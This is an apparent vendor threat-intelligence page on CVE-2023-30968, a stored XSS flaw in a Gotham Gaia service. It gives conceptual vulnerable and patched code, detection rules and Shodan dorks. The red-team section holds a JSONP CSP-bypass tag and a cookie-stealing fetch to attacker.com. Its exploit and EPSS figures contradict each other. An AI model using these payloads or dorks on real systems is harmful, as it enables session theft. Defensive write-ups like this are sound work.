☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-30968

CVE-2023-30968 Cross-Site Scripting in Gotham
📅 PUBLISHED: 2024-03-12 19:39 UTC 🔄 UPDATED: 2026-08-12 08:59 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.10%
👁️
0.10% probability
2.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 6.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-30968 is a stored cross-site scripting (XSS) vulnerability identified in a Gotham Gaia service. The vulnerability allows an attacker to bypass Content Security Policy (CSP) protections and inject a persistent XSS payload into the application stack. With a CVSS score of 6.8 (Medium), this flaw requires authenticated access and user interaction, but the stored nature of the payload means it can affect multiple users over time. No public exploit code or patch details are currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. The vendor, Gotham, has not released a patch, leaving systems exposed.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 6.8 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector (AV): Network – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low – No special conditions required.
  • Privileges Required (PR): Low – Attacker needs low-level access (e.g., authenticated user).
  • User Interaction (UI): Required – Victim must click or interact with the malicious content.
  • Scope (S): Changed – The impact extends beyond the vulnerable component.
  • Confidentiality (C): Low – Limited data exposure.
  • Integrity (I): Low – Limited data modification.
  • Availability (A): Low – Limited service disruption.

Threat Level: Medium. The stored XSS nature increases persistence risk, but the requirement for authentication and user interaction reduces immediate exploitability.

Deep Dive & Mechanics

The vulnerability resides in a Gotham Gaia service that fails to properly sanitize user-supplied input before storing it. An attacker with low-level privileges can inject a malicious script (e.g., JavaScript) into a field that is later rendered to other users. The key aspect is that the attacker can bypass CSP protections, likely by exploiting CSP misconfigurations or using allowed origins to host the payload.

Attack Flow:

  1. Attacker authenticates to the Gaia service.
  2. Attacker submits a crafted payload (e.g., <script>alert('XSS')</script>) via a vulnerable input field (e.g., profile name, comment, or metadata).
  3. The payload is stored in the backend database without proper encoding.
  4. When a victim (including other authenticated users) views the affected page, the payload executes in their browser context.
  5. The attacker can then steal session cookies, perform actions on behalf of the victim, or deface the application.

CSP Bypass: The attacker likely leverages CSP policy gaps, such as allowing unsafe-inline or using JSONP endpoints, to execute the script despite CSP headers.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is inferred. The vulnerability likely stems from improper output encoding or input validation.

Vulnerable Code (Conceptual):

// Server-side rendering without escaping
app.post('/profile', (req, res) => {
  const userInput = req.body.name;
  // Directly stored without sanitization
  db.save({ name: userInput });
});

app.get('/profile/:id', (req, res) => {
  const data = db.get(req.params.id);
  // Rendered directly into HTML
  res.send(`<div>${data.name}</div>`);
});

Patched Code (Conceptual):

// Using a templating engine with auto-escaping
app.post('/profile', (req, res) => {
  const userInput = req.body.name;
  // Sanitize input
  const sanitized = sanitizeHtml(userInput);
  db.save({ name: sanitized });
});

app.get('/profile/:id', (req, res) => {
  const data = db.get(req.params.id);
  // Template engine escapes output
  res.render('profile', { name: data.name });
});

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  • Target: Gotham Gaia service (version unknown)
  • Tools: Burp Suite, custom XSS payloads, browser with developer tools
  • Prerequisites: Authenticated user account on the Gaia service

Exploitation Steps:

  1. Identify a vulnerable input field (e.g., user profile name, comment box).
  2. Craft a CSP-bypassing payload. Example using a JSONP endpoint:
    <script src="/api/jsonp?callback=alert(1)"></script>
    
  3. Submit the payload via the vulnerable form.
  4. Monitor for victim interaction (e.g., via a webhook or cookie stealer).
  5. Upon victim viewing the page, the payload executes, exfiltrating data.

Payload Example:

// Stored XSS payload to steal cookies
fetch('https://attacker.com/steal?cookie=' + document.cookie);

Blue Team (Defensive)

Detection Steps:

  1. Monitor for unusual input patterns in logs (e.g., <script>, onerror=, javascript:).
  2. Review CSP headers for misconfigurations (e.g., script-src 'unsafe-inline').
  3. Implement input validation and output encoding on all user-supplied data.
  4. Use Web Application Firewall (WAF) rules to block common XSS patterns.

Hunting Query:

-- Search for stored XSS indicators in database
SELECT * FROM logs WHERE input LIKE '%<script%' OR input LIKE '%onerror%';

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound connections to attacker-controlled domains (e.g., attacker.com)
    • Unusual HTTP requests containing script tags in POST data
  • Host IOCs:
    • Stored payloads in application database fields (e.g., name, comment)
    • Modified CSP headers (if attacker bypassed via misconfiguration)
  • File IOCs:
    • Log entries with XSS patterns (e.g., <script>, onload=)
  • Registry IOCs: N/A (web application)

Detection Engineering

YARA Rule

rule Detect_Stored_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads in web application logs or database dumps"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-30968"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/si
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/si
        $xss3 = /javascript\s*:\s*/si
    condition:
        any of them
}

Sigma Rule

title: Stored XSS Payload in HTTP Request
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential stored XSS payloads in HTTP POST requests
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in input fields
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-30968 Stored XSS Payload Detected"; flow:to_server; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the vulnerable Gaia service if possible.
  2. Implement strict CSP headers (e.g., script-src 'self').
  3. Apply input validation and output encoding (e.g., HTML entity encoding).
  4. Monitor logs for XSS patterns and block suspicious IPs.

Long-term Fix:

  • Wait for vendor patch or develop custom fix by sanitizing all user inputs.
  • Conduct code review to identify similar vulnerabilities.
  • Deploy WAF with XSS protection rules.

Workaround:

  • Disable the vulnerable feature (e.g., user profile editing) until patched.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Gaia"
http.favicon.hash:gaia

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-30968/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.